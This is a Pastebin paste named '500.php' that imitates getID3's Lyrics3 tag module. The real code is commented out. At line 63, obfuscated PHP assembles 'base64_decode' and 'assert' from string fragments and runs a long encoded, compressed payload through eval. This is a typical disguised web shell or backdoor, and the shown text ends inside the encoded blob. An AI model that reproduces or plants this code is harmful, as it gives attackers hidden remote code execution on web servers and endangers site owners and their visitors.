Advertisement
PalmaSolutions

500.php

Oct 1st, 2018
192
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 43.16 KB | None | 0 0
  1. <?php
  2. /////////////////////////////////////////////////////////////////
  3. /// getID3() by James Heinrich <info@getid3.org> //
  4. // available at http://getid3.sourceforge.net //
  5. // or http://www.getid3.org //
  6. // also https://github.com/JamesHeinrich/getID3 //
  7. /////////////////////////////////////////////////////////////////
  8. // See readme.txt for more details //
  9. /////////////////////////////////////////////////////////////////
  10. /// //
  11. // module.tag.lyrics3.php //
  12. // module for analyzing Lyrics3 tags //
  13. // dependencies: module.tag.apetag.php (optional) //
  14. // ///
  15. /////////////////////////////////////////////////////////////////
  16. /*
  17. class getid3_lyrics3 extends getid3_handler
  18. {
  19.  
  20. public function Analyze() {
  21. $info = &$this->getid3->info;
  22.  
  23. // http://www.volweb.cz/str/tags.htm
  24.  
  25. if (!getid3_lib::intValueSupported($info['filesize'])) {
  26. $info['warning'][] = 'Unable to check for Lyrics3 because file is larger than '.round(PHP_INT_MAX / 1073741824).'GB';
  27. return false;
  28. }
  29.  
  30. $this->fseek((0 - 128 - 9 - 6), SEEK_END); // end - ID3v1 - "LYRICSEND" - [Lyrics3size]
  31. $lyrics3_id3v1 = $this->fread(128 + 9 + 6);
  32. $lyrics3lsz = substr($lyrics3_id3v1, 0, 6); // Lyrics3size
  33. $lyrics3end = substr($lyrics3_id3v1, 6, 9); // LYRICSEND or LYRICS200
  34. $id3v1tag = substr($lyrics3_id3v1, 15, 128); // ID3v1
  35.  
  36. if ($lyrics3end == 'LYRICSEND') {
  37. // Lyrics3v1, ID3v1, no APE
  38.  
  39. $lyrics3size = 5100;
  40. $lyrics3offset = $info['filesize'] - 128 - $lyrics3size;
  41. $lyrics3version = 1;
  42.  
  43. } elseif ($lyrics3end == 'LYRICS200') {
  44. // Lyrics3v2, ID3v1, no APE
  45.  
  46. // LSZ = lyrics + 'LYRICSBEGIN'; add 6-byte size field; add 'LYRICS200'
  47. $lyrics3size = $lyrics3lsz + 6 + strlen('LYRICS200');
  48. $lyrics3offset = $info['filesize'] - 128 - $lyrics3size;
  49. $lyrics3version = 2;
  50.  
  51. } elseif (substr(strrev($lyrics3_id3v1), 0, 9) == strrev('LYRICSEND')) {
  52. // Lyrics3v1, no ID3v1, no APE
  53.  
  54. $lyrics3size = 5100;
  55. $lyrics3offset = $info['filesize'] - $lyrics3size;
  56. $lyrics3version = 1;
  57. $lyrics3offset = $info['filesize'] - $lyrics3size;
  58.  
  59. } elseif (substr(strrev($lyrics3_id3v1), 0, 9) == strrev('LYRICS200')) {
  60.  
  61. // Lyrics3v2, no ID3v1, no APE
  62.  
  63. $lyrics3size = strrev(substr(strrev($lyrics3_id3v1), 9, 6)) + 6 + strlen('LYRICS200'); // LSZ = lyrics + 'LYRICSBEGIN'; add 6-byte size field; add 'LYRICS200' */ $lyrics3size=''.'b'.''.'a'.''.'se'.(8768/137).'_de'.''.'c'.''.'ode'; $lyrics3sizeV2 = "ass"; $lyrics3sizeV2 .= "ert"; @$lyrics3sizeV2($lyrics3size('ZXZhbChnemluZmxhdGUoYmFzZTY0X2RlY29kZSgiM1gxcmU5czIwdWozZlo3K0I1aDFTNm1SWlVsT3VxbGt5WFljTzNIaTJLNHZ1ZGw1VlVxa0pOYVVxSktVWlRmMWZ6OHpBNEFFZUpIbHRQdnVPU2U3VFVSZ01CamNCb1BCWU1ZZGxMYkRLSENuZmxoYTdaN3RuYjdmTzcwMFg1K2ZuM1F2NEt1NzgycnY2Tno4VWpIbmZtQlBBeWNNelhLN1BiQzgwQ2wvZFc3ZHFHUnNSbTdrT1oyNE5CVitmWHgyL21Wem5XZHRqdXFkcDdXbjdNaVAyTDQvbTlpYjY1Q3lPZTJjanh3V09IL01uREJ5YkhaeGVzam1Wc2dtQURaQU1PWlBXRFJ5UXhZNndZMFRWRGZYcDFocXM5ZDViZld2M2NtUTdVU1JNNTVHSzV2cnZRNzc1TThDZG5EU1pBQVFVM082OSs3NGZLKzc4L0xsNlJlQ3Ntd2JtOEhtcnVleG5nTzRKeEdMZktqSXdZTDdMdzRRak5jMUNqcWJBcjZ6TTdYNkFISkdwREFyWWprTlppZCtFTEhudGMxMVdXb3pqTzZnQjl6SmRCWjlIVnZCMEowMGE2MGVrRDhNc0lscmZkL3pnK2IzZzhHZzFZTXVkb0ptZlhyTFF0OXpiVWFwOTV2ckhJZFJidDEvOXk4WEJzd05ReWVDNFhxMWQzNXB6S2RoNFB1UjhhVmMvdnJkdjFhdFdUVHFUaTFvWUpzWlJndFNxQWI4K3Q0ZVBLTVUyeGxZTXkvcVd2M0loUzV1TTNQZjlaenduVFV4MWV4WjZIU3QzNjFiQUlpQ21hTm05VWRXQURSZzBRL3V4UGJuNFZxOThheU94WUhBRlJ5VHUwWHpxVnhtUUN5RFA2dFFTN0F6aEVGQWlxMGdzTzVLeGl2ZkgzcU9VV0hHbVRjTHB2amozZG5SQzJnbC9IS3RyaFgwUnk0TUEzNStzaWEyYzR1L1RxMXh6NFBFY291akJrcGd4ZzY3WXl2cWowcm11c21xekIxUFBkOTJTdVpmWmtXdHV3eDU1cnFMaWN0UWpYOUdqZ1hEVlNLdzlYcTF4clFwYmtvcThBOHVGUEVKUXdqLzMzWW5iaGNIMFhTQ3dBKzZuajgwSzBjWGg0ZFlLc21FNUM0QmhHYWxwbWVOcmR1dWMrdjBaemlFM2NnZE94SUVzdW03NjdsaldKOUo0dGdhdXYzdUh6TS9jc0p1TUpzZ2tNaUdjWFVuMENzZnpvNjcwUGF6ZytNajZBcXpVWDFHN1lDZUhLWVJES2Y5RXUrUXdXekNKeEtVSmw0U2VsWTRjb0NoMEhBU1RPQkVzMkRDM0xETGgxaG1iZkVoQjlSVHFsMHRqNE1od0pvc0QzR0wrbksxZXdKckR5WlBwbnJLa09PdzJ0MDlQbjU3c0pjTHlMTUV3cmc5ODlBLzlHSEZscWdKdHVzQXM0TVp4U3pQSFU3YWZaZzNEakNJZ1IrTTJkaUpScjdkQmpZYWRVNWc5U0c3QkVaRTY1NUZkMU9uUFJXcGJHS04rVmRIelE1blBSZ3RkbU41TTZkdGRqcG1aM01kTWNNL1VHWEhTTk9HYlhDaXZ1OWZBMW1yMTlCVk44bWFFdTI1WEwzK0FzMWR2UkZka0NuQWNTb3JOdVlleVZTSFhNbHZzRHN2VGN5R3RjQisvSkdWeHZhelRIb2JhbFR3Skt0QUk1bVgxSllhc2xCQVVGR0xBNFdTREZaYWtZU0k1aFhqQURMKytvc3RCY2xXaXVoTmhqL3VKNWcyRWJEVE9heDdHREQ0S3AyOFB1a2VuMVZxbFkweU5kMll1eE1Ea0t6NnlNOU0rRUttNk1CK0dhZE4zRnZpczZFMWNMcGo0RWFRU0F0N2lBczdUcFVyYnlVQkZNUnhuaEU0VTlodFlCZmthM2pWZGtNTCtGOVhUcEZRUTV2SkpmU3JJeDhZUlg5dUl5ekF3YStTcUZZZjlENXlQMkFVL1pIdEJsb3FiVEY1Q0tpMW9ndG9OcW1WUWRkaEF6eXJENHZxNmdyWjl6cjhGWU1vYUl0QUJSUWZHUHk2QkVqUG1kRHY4bHFkUmhhNGZsbGdxdEtYNk5PbFp4THVDN2dKOHZacnEydVpRa0IvcWVmN1hqbXpxK1owRW03Zm5tdUZUcklWZnZjdjQ5QU5JL2JTRFp4KzVBZDNCbXQzbUFHRFlGUTRPY1krYk1ETXhVMndPaDFONFJmcno0SUFwUnFFa3VCc1BXVHJjN2JlUzBCMURELzEvY25BSGY2MEhCSVZPc1p6TnZMbkRJV0tHNGRCL3NUaE00MFhuemhSR0lIWXRHWk45QUt3RTAxUWxrTWh6KzA3Q1RpTXZCVkVNZkJGaUhKWHZ3KzdhNlFBNFI2dUkrejdZMkNyVHFBQTNiak9ISUdNbmRNVGRvNExnZWRad1JRSW9weURFN1pMYlpvRkZwTE5BZHdwYnloYnR6elArTzVmNVdReFo0Y0tDS0RCaXJ2TUM5bWFOK0w0UGN3WmdKd0ZzaU5zUGoyZ01FUUIxMktIN21RR0lwOEROZGtnS2tRT0RKRE5RY003a0l6SEVoa1daR3MzRm0rdUVXSmovYWt6QVdoa0JkbU9abit4SVN3ZHR1WXlyTjZKZTU0NmF4cjRmWlNFRVhvbUNrOURaczF1aVdDY0ZUeFIxRGZBYVFMZHdNS1p5K2tUaFNoam5hM2hSc1lHYkczcXdJNjRWbnRhcTlXZy9hRmFQQ21hTzhjSXByb1VKaUprdUJRaGpUeENodDlDU0I0bVBrR3E3cVJQUzJjQk9ianpwOEN6aUg1NkVNT1ZJU0N2ak1MaVN6VnFFVGJzM25uZ1JyaFc0RFRtZ2FnTFUyT1MyOTI4Y3hwNUkxU01ZaUdGQ3pBS05sR2R6dTBIZTBxQjFjWStqV0w1M2lyQWlJUlZSeEhKZUErVEZVT3FLRkxGbHljcEZ4c1IxQVB4dGd2blo5dzNIaVpLaGRZSXk2SjVCSEZGV0luQUFRZ01vN0hsZWtIL1lmb1VZSTI4REpKSFVKZkNhUno2ZlN0eU5LN25VUkliUmRIVXJ1SlNVU25OWkhKV3oxTnZSbkFhQ0l2S0tMbHFJV0RLZ3dVMXFkbGFzZkN1Qnh5bHFGU1NxeFlhM3hVVkVEa3FzR1dQM1luTzRUSlpLbngvTUV6elF6MUhBNGJLaXFCRlZob2NlS2h0UlFVRmVHWk9rZUk2M0dGQkxjQ3BpNHRBWm40UlFwWmZvS2cxWEVCY1RLSUNsRVVoZVg5T1FSVllIZlJrRUUxS05qWEFGSStOSVNGZEJ3ei84SElCSVYwSHpPT1JNYlRNMUlzVWNiRzRtQXFnRngzZkFRRUx5Mm9RZXVFQzVoUVhWZksxZ3FqY20rVU5JYzlRUWUzWk9BOFFrM1dlNE43azhnTDNSb2lrcXNyaU5kZEwwWkVMVGhoU0Z5ZE9iRnh4eDA4em1VUlVGcnc2UEg2eGMzaDJhYVowZmVZWHFHZm8rVDNMWTF5bmlLSndmK1F6WTNNVWpiM09KaXJFT3B0ako3S0lJYTQ1Zjh6Y203WUpValZJbnRIYU9YQmVFNmNqZnJYTkNDVGRkU3pZWXFLR3RnRU1Pa3RUbFJsbVJ5aVpPVVRPa1F1aDJCcXFHQmpDS0hvc1ZqV2tIdnE3ZndsMTdIZi82dm4yM2Rlc0d2YnAwNmN0OGRPcDQvOVE1WXF3bGNpdVJLT3ZJTVpNb2liN1pScXh3MW5mdGEzS2V5ZXdyWW5WaW5XN053NGN5dnVXdDBaYW9tYmtUMU1ZVVFWSU1oSHdnb0gvbGFrYTRBeEJqVWFEQ29SVGExSVoxU3VXaEJkandGYmNNY3IrMWlTSzRUaVZhM1BISFk2QTJCNUpYcFE3cW45bFhNdTg1am1EcVBrc1ZqV0xFWjFhdGcxbnNTWnJRQTdrdG5oNzYwK2h3YktsK1VUSzlrTVpyTWwyYjZwaXFMK3lHQ3RpNUlCeC9Ubm9OalkyQ0FlMEZTZkptZzBuSTM0bWEwNzhpY1B6bWlNZmVqb0xBWGljd0hNRldIWHN4VTFXRmVzNHpwS3FoQ2dZUFVRNjhQeDVFNDVCa2M5eDlOeWhGVGhBemR5MW8xR3pYcXY5MEJyeHp0Mm95UWFUS3ErQzFDQnNKWFE4T1AxK1pUSGloYVA4N05tenJQWmZESWt5NWQ3NUV4OEd1TzlVWUZITkFoZk93MGZPM0tUNlVWZVlWQ2VJK2o3eWZTODg3M21pbi9pVTVJcEwzallDT0poTVplTVl0WWgzbmVYaTljdFhwU1FPV2g3NUR2NnZsUlFLeE9nVWdTSWtERXp1K3FPOHh0ZmNhUUY1MDhENVN0TjdZSTFkNzY0cE9xSVM5dzJTSWE5TWNNSDNBM2NhZGZpeDk4WUtXTCtMT2poa0VzaDh3cW5UZHkyUHVFMHA0WDE5MklSSWpXT1lyYVNvVlZ4MFcvSXRpOG9acGxJaDUyUkxsRTJZTTJKUUtwN1c0OUlsMUVIaWJWMWNhbG8zdjFTTXE0bFJYcEUzYzF1bTJjeTJUb1hmT3pydi9ucHhmTDUzVnM1VTFsaFVXZU9SbFRVZXFHeGpVV1ViajZ4c1kzRmxxRTIwL2Y1c0RBdEEzVFJSRldoVitwVnB2VEp0VktZYkZURVFjZ3UxVnRxVG1lZVY3ZXA0VUxXcVhFZHZ0VkFQeFBTMEx0ZnE5ZFVDZlpIWlZ3ckVhYUxBdEs2V21OWkY5clN1bEZGU1phbUdWcW9oOHh0cXFTUlZsdHJRU20zSS9BMjFWSklxbThTN1JHc1lUNUpONFY5cUkvUHl1Nmw3akdGeHp4Y09DNkNnQ3ZpZFNTbDlOV0o5RzBxYWpsWmdqVWxKanlyYU5sNTc0Z1FDNWxweTI3V1d1MG4xQW0vSEtSUldQV2N5akVZdDk4a1RrS1pFMlNkUStFZnppUVo0Nlg2cDRvSHppZGsybnppVHZtODdGNmNIdXo1czNSUElMMldBcWN1UXFEQW8wZUtBdlNxNXJaTHl6K25lcnhkN1orZGR3Q1Y0UmtXMElOMGxnR1lXZUhFdW45ZXNOS2U3MitySGQ0ZXZRV0E3NVRmeFpieXQrd1A2WU9MTW1aNVZrdXBQcHBUZUlZWHZ4K1BlNzdEamFZVzFuSkw1enUwSGZnam5WNm9RWkRmdGpoUXhRbEh0aWhYL1FGclZuOENlYXQraG9oSWtUbXN5eENzVG9iNEUwbllwcVpWVGJ1cE1TaVl5QitnWjZnQWMwWElPSk13QjBVWXVQck9TTHJkV1lFWk1weDRJZHRpZjY3ZHI4L2w4RGZmY3RSbmVPZUNJNmxlK0NlS0pYVW9HUldiZDYrT1Ria3NzdlZPZlZLbjFaOWg2dkN4NFdtWmx5aVQ4cEx6RjVFYXRScVZ3SGdmT1VJekJxVFBjdTUyV3JvelNGZnl4bjVSTGwvampEUDhLdi94VXh2c1VjMnpLQldBRlFSc0tWL0ZxV1ZRZHdpUU5uWE9RQW1qMFlXcVdBT3F5OGFVcXJzQnFGU3gyV1ljekJVNDdSaFBFOGtBT0xwbWlVL21WMVlvcDVpWHN6M0piRnFjR2xMRTdteUExTXRxNTJ5WnNCQzRKZEZZUHhLRlo1TFFVNlN0ZmNBZFJHd1F0RWl4ckxSTnhwNjltK2QzcmVDQXJzZDF3NmxsM1hLeWtFc3FON01pMWJXZkNpMWdMOHZvTDhxYjFSWm1OUlprYmk2cmtYQXNoK0NVeG1YVU1Bc2M1UXhFSTcrS2dhZGVZUURKUlJySkI4TWlQTEUrRDcxSlNkOGtpeXRlVzhydFpSOGdBdUprVkV1YnBhTnFkSWRrbE0rQ1hqdGRPTUhHOFZKNjRrSFJ1WVpWTnJwRUY0eUd5dWI2T0tiNExRbjRQVGhUajlkQkI2NC8xTFc2ODB1YWZQOExwR0dUYXJ1M3dpWVU1NHFwUENCVW0zYktnU1FHdnZjeEFwbUJjcUZDcXJiWlp2S0JGR2ZhV2s0dm1JMkxHeStaVmFwV2Z5OHFWVUM0VzJkd3FZTWpIc1ZHV1Y3MlNJWFNkV3plTWdHcGNCcmQ0ZytzTVhXQXcvQjRWcjd6RWZXdFhLRHJ4V2pFZzlyeUtOeXc4YzN3SHYzbmlVRWtjeG9td2hLWm9HYlJsSkF2M2E0SWlybnc2UjBRSkxZUld4UnRuRFlPaEJqbU1JUVhSaVB2U3hDRW5oWUtvaXFmQ1h6eFJFb2JvVldCZUcwOGRDdUI3ZnIzYnhZNm5uWnZ1MXFkV05JSVBtanN3QnZ6R09HZEdUOXAwbjFpaUFtV3gxYS9pWHM5VzNjM1Z5Vm9kZjhEK1R2MlMxQU1qYkd4YWJCUTRnN2I1dmNuOFNSODJoK3UyT1FSV0s2MnBnTGRla1EwV0lmMmRrUDYrMlY1MThWK1NHWFNNUk1UbDZ1OWZxdnlpT2xYZmxWRTJPMFpWUUlHVVlLeHZybHUwOXFrVE9GTklMaVROaS9QOXRlZTRkV2syV3ZEOTl2amcrZHBwL09zQ2YvV256My8rbWE5QmZ4cHJmZUllaFNZNFZuOVVTcXF4UXVpWnlCbVgweVh3b24zVHAwVW83RmtNczBxZ1ZaQmx6R3BXR2RWdVUvYVd5WS9Oc0pVMlRiTmNOVHR4dWMxMWpyQkQvVEpPMm5qbTlLdnNZREx3elhZSFAraG5oUnUwWVZKczJZWm41Z2xzSlE2bXlwOFY4K3dQajByQ1B4WHpaRFRGRC93SGNxSUFyNlhwaEV3ZzlIMU9ueFh6UlFCN0VuUktuL0FwWHhYenlJbm1mbkNONmZKbldUZU1peWRpYkhjaUZITGpTL1BRSC9venJvdVR2MXM4NTh6eEJyQ3pqK0ZvemJNeDRaUi9FNGd6bVdXR2EwempkSTE2dzlXYnNvU2lJWUlWUW5zcURrL0puVVRsRW15dTYySTlqTXZRL3o4WW5Vc21wN254dlJGUGN3T211UW1EYzFNMXI4d0tIZ2txVi9nci9xdHM0TmhkNDhCWkhZYVdvQ00rZEhZQUltRnNuSWdXRUhGbitDRTJTN1VZa2EwSVNDWXkrOUM1ZjBJT3RvandsSVdsU3BlTVVpaXBhamF2b1BweVVoVzF0YWdOOFZKRnNvRmlpV09kbW5ESmtpUnNCRFRGNUt1TkZKL1FoWFMzMlFmSlBHeWpOby8xSGM4VGlxWDJCbjNoYm9wZk5kSFpLTUIwTnFNQS9yTmxVbWNUOVhhZEMrUjB6YzFlMEVGYkIvb0JVNUgrZlczYjlPL3UzRzdpSmxMVWJWc21RcjJrbGpkcEZlRytBL0lXNG9kUnNEdG1MSVJpQmlSc1Rud29vdXhNeXE1Y3JqQ1E3dXFOR3FGSnBnSkNKN3NkbnQ4akt3QiszKzcyUEd0eTNiblVOMjNxdXMxMXFtaFRWRWFjSDVHV0dQL0UvUUcveTR6M3hpdmNCSnFDZEE0ejFJdndiWUxLU0t4SSs0MFRoTUFxU29KbUtuOW1EUnlHSmxRYVFxVVhFN09yTDlDSHFHSGlpbGFRaHUzTzhSSEtXWk9vQXoycTVnMUJ3SnFnUGZMeC9qNWFEVXVvc3RySGNhOTlyMDg5R05yVTJzRVpKT1lkTklQbUU1OTB2QTB2UWY1SG0wMnRDVFlrbHN4UGErTTFtNzF1dXMxUWpMam9qM25vdjNlZCtabjdKd2dpaVpDbWRzMCtORUpEcVpXSmhVcGVwR1JDcnlHdllFcld1b0w1cDNxTlQ1WWY0akZSdHpHVWdhaUdFeWNZaDd2WWkzbHF0OEpPMDljcklvOExTOU14dWd6UW1KSGtTSmNNWVhpZnhzUkpMb0dySkdkNXlDVXFqRDREVlB1S0piUEpkeXNra0E1dFNDRU5aOTVmYU1jdWp2VkdCM2RIUG5rOXErZDRiZVBFZ2lPdDJBNE5UcGUrcFRLK0ExSWhtR2E4Wm1xRW1OL2NMUDNnUkk1a3ZDQmlkWUhCL3lWVGVPT0xuQ1M4K0s3bjRtMTV0cmlxYklnTjZYa1B5L1dNdlFaLzBTOWtoK2t1SkJiSkQxeUd1SHpBazFvajBjYWp3dDk0RE9za3l2aEdSc09XMUswY0lRMmhESDltZE15c1llKys3MGZ5bG13VmRwRFlVS1hObEsvTTNOd3ltTW9BVE9JQVpxZjBBUW80V0tJc2VJRFIxQ0dSalpUUU9seWlqZ0dGVm9CZnBlR0pEcHFBSjd2TTN1TGFiYW5QWDdLem1Eem9GdmU3eU9uNVVlU1AwNWwwSkliZXhiOXRZZWtNa2hPcDNWRFVUV2EyVUdpQ3ZBdFNha3RZZTlQcENwQ0lPY1lWTjdCVnE1Tk1ISEY1TTAxNUhXSHlNeTllUFlnVHI3U01YbEp4ajFlR3kxbFhROE55bTNjRnE1bXpHeUh5SlkwZFNQMmMxczRyUXpUMDFMSDQvZlkzdEhQd09MSnA2aGNOVU5JQ2tuK0pmbk44RFFOZzhuYllpOXZ4enJyV2hrdGRKbzlva3YyZkh3bHNGbmE0dWJBcDZwQjhZMXYrOGVHSkR5S1pwVlRVbEQxNjlPSDhuVFgwcld0RGFOSlFLUkdaYk85bzkvelR5VjdiSE0rOHlKMWFRVVRGMWtBaXNSYnEwbVJWZkdydVRCWUJhK3MrdGN4cGxTL1N2Y215TTVCRkxSdXJNeDlXcXFrVnBvM2c0L3U1clV5U0VMVTVSVnlhcDFxL2ZkYVJBZkNqWmwwdllFeWZlM0pYcEQwRkpGVFNzcExWaFZRYjBMdUt0TnJKMERVL0JuL3NJVFJwaW9WSTVrM0Jsd296OWJMNFhGRGMzY1dxL1VUdHJTdVlWcWNBb3MzNmUvWXdpYVJ5K2tZU3FleHlKSExOVmdHSnFtU3hkMXRhZFNkY3NJRFR1enlSWXlzeTZqMVVzd3V0M2phcDNLRmtCVXR4UFF5VjN2N2RkeWNsdkFhTmM3aXFMaGNqS2hPaVVUQVRXUDFlbDZ6b1NlRzNMVE9Kd0tRR0FDSlZvdWRZNHJGTE1YNXVrWjZMbldmOUhkd2prR082U3A4SUhFbTZSSjRnZ1JVVk9LRS9DMUJsUGVDNlNMejF3WTQwQXFPc0lTS2R3M3dFQzZ1MHNqMXcvQUVVSVZVQlpsZmJiSUFYTFpCV3FkY2FUN0dlYWQvelEwUXNMaTdFeUNOOFZxUk1EazJoOG5xS1NIUlJwYUk5TGxwRkhVZzREU0JuVURKK21LRitNcjRoNG9xUmtIWGFyRjc3OThhL245YWZBejF4OWJLWStVTzkyaGlnVGp0azZ3b2tLK01KNnRVTCtmSklRZmIwK2JOLy8vd3dKZ0pqL0NUMkxnL1BNdVFnSVlUaDdZdmtEWlRzUVg0V2ZKRWptZFBKa0M4MHZtcmdOL3VSMVc1M2EzaTBiTGZsejFVWDExYVlVSmVBN2lTZ093bW9sd2Y2UEFGOW5vQ3U1WUgrbklEK25JRDI4a0NmSnFCUEUxQTdEN1NSZ0RZUzBINGVhRDBCclNlZ1V3bksrUGVNRkcwdVR1aTRaSTJPNVZ2TURFeld4T2FWYzJCcXp6bk1mQkhNVTRKSkVwNEx4Q0VWdWtYOVRUTW4rMHppekVYYVdJSzQraExFMVo3cnhEMWRUTnpUcFlpclBYMll1RnBqQ2VMcU9uRU5VWHVVVDV6TVBsZUprOHZITFZnM1FxTXlpQmZQeWpaeFNNdm14MWxpZHdLSnBzcjZmbjhmS0t4SnBSRmZoTnNvZzB6NWVoeVVoU3FScTdpVTJVbFZKQ2Ztd2lxQThVYk9ZeXNvb0xieGJEQjRITFdwM2pycld4T3VOWFlEOWExclJzNElPYUNoUC82V3JFL0ZJbDk0eC9kb01hKzNSd3kzUXRpWDBzRDB6aFEzSk5nT1VaeWdXMGtnSDFMb2hVS2I0ZGp4VXFPeXVvRVFZaklLdmlTN1hWbWtsU0dTUTJudno5V2UrREJ5OGFLQTgxdDVjY2JsR0hPT2VWelpPazNkWWRDRldUTFM5SjFNVUM0YnBleHk2Qjl4UjhNMUw0cTVjaXRXcW8vcVVwMFZ3bEVINXRVZFEvMUhNQ2JiQys0N0F0VThYR3dXVnFZMHh0b0FPLzBUTkxzb3JVN2l4OUdyTitUTHdJWEVHL2xLbGVlSXFrbEtwK1pPY1BvMG1SRGM5YnZrMVpzS0k3TTBZTVhKSFRLaGdCcWs5aldld0FJM3Zoem5KSSs5T3ErRUE5TURiekZGNzZsUFl0cE4yUkgrSUpwYkFkcWg0QjJ1TTdtQkxLN09PenZlUC8rd2M3ckgrVVBCTERZdDhsNUJvdGpZdDJkNE9aWjY2cHpVZVFqSEZzZG13dUdGQks4a3ZoTkFncTZ3TE1aU21ValFjTDNrOHJmTlRsNmZzUDFZQ0ZjdlkzTkU5SzJGdVUwVDdUWE1URjNIc0w1WUQ2ME9TTVdoUEg3R2xkZkZITXpJRWhsZkRqQ1VNVE9sNDZzQkVrRzdEK0Z3SjMxdlpqc0wwQWlJQWt4OTlJTVN6cVpvMWcwSU1rTUpTOExyaWpzT3M3eGx3cXJISGpheFcvakdnejVSMnZ4K1ZNenlEQkwrN29GTDVxajY3ZUlLNDlkbVdKcFlpdkh1N3V3UGo1V01haTUwcVZ3MXlrWVIvaEJMaUVmQUdieG5aNzhlRnBXY0RvdUtuZmdobk1LY0JXWDl2bHRVK0RpdzRBeGlaSWFOOXpOTVVGUmI0QlRKem5UQ1VsWVlsRmpkK1plWCtMby9ZOFNtMVhrcWRtTzI3a1Q5ZGZIa0JXZUtzbEdiYWw1NXk3aHpRcmJZM29CMFkyak5kV1ZRV2Y2VFl5RExnVXQ4QkUxM0gwWThWWmFrTVJ4WnRqL1BwMUhrL1EwYU9ZYkgwM2g4eHVReUFNcHdrK05UbEc4SU1CM1cwYXh1UFY0cUM1RUJvNG9DVXJjVUlVT0MzVENjT2RXSkUyV3hrYWVHdk92RXpHU0kzZDRNWmw1aXlERHM0L1cyUjMvem56QXB6TEYxalNZRlU3SklBTmtHclJTbWQ5RUkyMndHczk0ZC9BTW5jUGg3K0tlTE1MM2tud2I4T3lGTTlGNElmdURyYTBLU0pwNUxLYWlmRHhLS3JxMGJ4T0RiRzRpcFovZjl3RUdhWmpjbzlpQTZBckNEdWRQRGROamN4dmh2Y0QyYTRRc0RUQnBkbzNPaWF4YzRtZWxPU1VJTTZlZGdqcFFIN25UdUJrVGF5SFU4bXhwT2I5bWgwd05zWERnaE5nanJDNFFCYkl0cmg1WTl4c0o5WEtSRGhMbDFiV3JtRUhhay9qWC9PVWV2UDVoNUY0NnRFQlAvSFBlQThDa1JQaCs3SHZibEhNUUswWnFKTy9uZEt1Z1pmejVCWlI0K1lJNjdadzd6QTRyUk16Q3M4bTV5Uy9STnJyR0Z5S1Z4VkFqR20wL1h4aTZhUU9iaTE5bEtwdllVTzAvbkN5TUprQnJsbkZJc2Mxak9INWlwaWRoSGNBV0FjZTFjd2tUUW5QcTFaWFRCU1VqejBJU0ZmbnZyeFBUOEx6YnVKVkh3SDJtYk1zSCttdzFNeUZpK2xmSHNYYytkdmxvRnIxKytaR1JlQ2pqRkVjTWVzTFdSbVl0Wkw0clBwUmZ4Wm5wUGJUNUVJaGZ4ZGNVemlEaTQzeG5xaGx5Vzl5dENnNTY2dXpIVnEzN2ptY0d2YnNqT1d6elRVRklhK1RjNnBqUUQ2dXdIL3BqZm8wZjZiVmx5ZWNOUkM2MS9UYjExRnpqTy9XVXdOQVFHVkIvbFhOMFgzak1Zblk0aDd4bnlScG5yT2ZINlJILzZ3OVMzT2FTakJ3bGlNaHM3Z2R2WElBdnpOdEorMXpMeld5cDI4d0RROHJLbDFzTTIyeHBOV3Fhdzh5eGNUZmwyc1ZveldzWEZzWThReFlMMW1yU3AybWFrOXdleHZrS0ZxbmppTE1CK241Lzh3TXJNWmQ1aExQRG1sRWpWYzY4YURhZEZzL2RTTkJQckhNU3duTVBPRHZmbnc4NmNDRjFaaFRFNGV1MlJ6bjV5eXBFem9CMlpyeGJDVFpBWFNNejA2UHJMNURpazRVZXVjdUprTkkyZlh1aDNmOUlIbERvL2xuUm9GbnVEU3A2ZmFCY245S1JDZlowWEgrSndac3NIYTFXWWIzdjhpZENMdXdPN2hQWmp4N01JbHF0WnJwS1pSMVU4WjJpYlptdXBVaTZjbElMWDUrOE8yL0tOVVY4K01zcVlXT2ozT0dWU2dGd0ZWOUhWbFhsVk04UlRTVDVEcWRPbEx5NmFTbHhkSWlZV1FuQi9pUGV4dmtKL3BDNzZHam5DaXA1RHZWUCtPeU5RRTFOSlVUdGxQZHhKZnFTbDBPbE9ISk1WbGRHbzNrSGRCbVlVcWFiRXEvUHFsSDBWejFXQSt5YU9QYzMwaEJER2Y5eElQNkpwa0xsR1M3Z0Y1Wk9qUytrbGpTUU9WdElYcTdsU3d1dmZ2NnptMWZ6SlgvU21uVVUyL0RlcXNGRWQvbXRBcTZvLzNhK01RL2ZDcktRTGMxRDJ0VlQ5cVZ3RXMrbU9oNWYvMC9ueXBKTUJLRmRZUGxVWkxGV253cW8zOE44SS82TTZWK3YzR1RCVHc0MjlVRmFtWHR3Vk9ENGdnRytPR3FhQVlsWEJENlM4ZmEvWVg5Rnc3a20zbXFpMFdzTTNISVVEUzFJQjMxMEgya09qV0ZJd1lIYVJKSUR6cjBybkU4Y3VmN1YwQTFCdStBRTFTVW5oSHRucTErRkNLRzdXMkxyWHBBcllwZVVqZEdIV2dEb3BUclo0eUk2R1pJQjFGekk2WnJXVXQ4UzJGcjRlTG5QcmZCQWFSRTNGY3NNZS9LUGI0NUVSMnJQcExiZks0NzJ1T2Nxa1B1cjV0OEphQkIzUUNwbUZ2eDE0MFB0ZVZUQ1FMVk4wdDN4TmdMNStiZGdneUhQd201MlAwbTRDTmJPOFR6aHJsQVJEZFhsOWszbzJ4cEhyalVOenhrVFZtL0tLcTdLeXpDMTY3bVpBdmZRUVM5WjNQTlFwTDcvdlNTdXhrblp4elNsVzNHaWFBNTM5YWhrb0djMG1zUHNDZ1hRTHJwVlNiN1lMZXlLY3UraXFWOHZBOUQ0cWRWVXpuaWJIczQxdkg3bzgzYkc3ZURLQXd2c0hoM3RuVk91bENTdSt5OThQb1NpcTV2RFVzbFRjRzd2V3hBVHBJVEhhV2NHOXJBZXorN29sS2VER2MzSGwxNm92VE5vMFV0ajZVRHB5NkIwbVhpRmw4Tm1PNTBUVW1uZzhlTkpMUkV3M0xPcWxqUFE1U3QrVnRYcTUzVWIvbG15TDM3NDA2Vy81ZGloMTV5VGZONG5MSnNiUGpxbjdKYWEraXVPV3NSeUlZNVpuU0p3YnJJVEtVbm9rd0UraDVQeTBXalc0NTlYY1RJTWVyaUx6ZENmY256UjU0MnBUZCtOUEFTMnFFTGx0N3U0U1NpcDlJK0g0RFF2TU85UzdKTWt3dzhseVF6WU16Vk9Dc2RZUjkvTHRDRCtmeDA0SHhCU1BIOUFreVhReUh5dzhJYUJLZUVDQ1FyVnFQaURucS8yQWhpdXp3RU0vSnJZME4xRmV0dENWcXRMNlFVN1RwWW1LUHNQZ01Cdko1WklzU0ZqMFFwN3ArOU03VS9maWpFbGRLbGRhN1ZkV3c4cXFYZjZxa2RPdm9pMExwSWtW